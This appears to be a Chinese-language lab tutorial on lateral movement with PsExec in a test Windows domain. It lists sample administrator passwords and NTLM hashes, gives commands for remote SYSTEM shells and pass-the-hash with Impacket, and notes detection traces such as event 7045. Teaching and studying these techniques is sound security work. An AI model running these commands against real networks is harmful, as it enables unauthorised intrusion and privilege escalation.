PsExec 横向
PsExec 横向
特让他也让PsExec 工具介绍
PsExec 主要用于大批量 Windows 主机的维护,在域环境下效果尤其好。(因为 PsExec 是 Windows 提供的工具,所以杀毒软件将其列入白名单中)
因为使用 PsExec 通过命令行环境与目标机器建立连接,甚至控制目标机器,而不需要通过远程桌面(RDP)进行图形化的控制。
PsExec 包含在 PsTools 工具包中,下载地址:https://download.sysinternals.com/files/PSTools.zip
通过 PsExec 可以在远程目标主机上执行命令,也可以将管理员权限提升到 System 权限以运行指定的程序。
PsExec 的基本原理是:通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为”PSEXESVC“的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。
PsExec 工具使用
实验环境
- 域:trtyr.top
- 域用户
- 域管理员
- 用户名:administrator
- 密码:
Admin@123
- NTLM Hash:
570a9a65db8fba761c1008a51d4c95ab
- 普通域用户
- 用户名:trtyr
- 密码:
Admin!123
- NTLM Hash:
c13cf012e9aee204132010c5362f7538
- 域管理员
- 目标主机:
192.168.52.136
SMB 横向
在已经拿到 IPC$ 共享的情况下
使用 PsExec
执行如下命令,通过 -s
参数可获取 System 权限的 Shell:
1 | PsExec.exe -accepteula \\192.168.52.136 -s cmd.exe |
如果不加 -s
参数,就是 administrator
权限用户
如果没有建立 IPC$
,PsExec
可以通过指定的账号和密码进行远程连接
1 | PsExec.exe \\192.168.52.136 -u trtyr\administrator -p "Admin@123" -s cmd.exe |
使用 PsExec 在远程计算机上执行命令进行回显:
1 | PsExec.exe \\192.168.52.136 -u trtyr\administrator -p "Admin@123" -s cmd.exe /c "whoami" |
PTH 横向
PsExec
没办法直接 PTH,需要 mimikatz
先生成一个会话凭证,然后再用 PsExec
。
我们在 CS 中进行
可以用 Impacket
里的 PsExec.py
进行 PTH
1 | python psexec.py -hashes :570a9a65db8fba761c1008a51d4c95ab 'trtyr.top/administrator@192.168.52.136' |
注意事项
使用 PsExec
时,目标主机上会出现一个 PSEXESVC.exe
进程
以及 PSEXESVC
服务
出现 7045
的系统日志
在使用 PsExec
时,无论是通过 net use
在执行 PsExec
;还是直接用 PsExec
使用用户密码进行登录,一定要用管理员权限,否则会报 拒绝访问。
在指定用户名和密码进行登录时,一定要加 -s
参数,不然可能会出现 登录失败: 未授予用户在此计算机上的请求登录类型。
报错
在使用 PsExec.py
时,注意!是 -hashes :570a9a65db8fba761c1008a51d4c95ab
,而不是 -hashes:570a9a65db8fba761c1008a51d4c95ab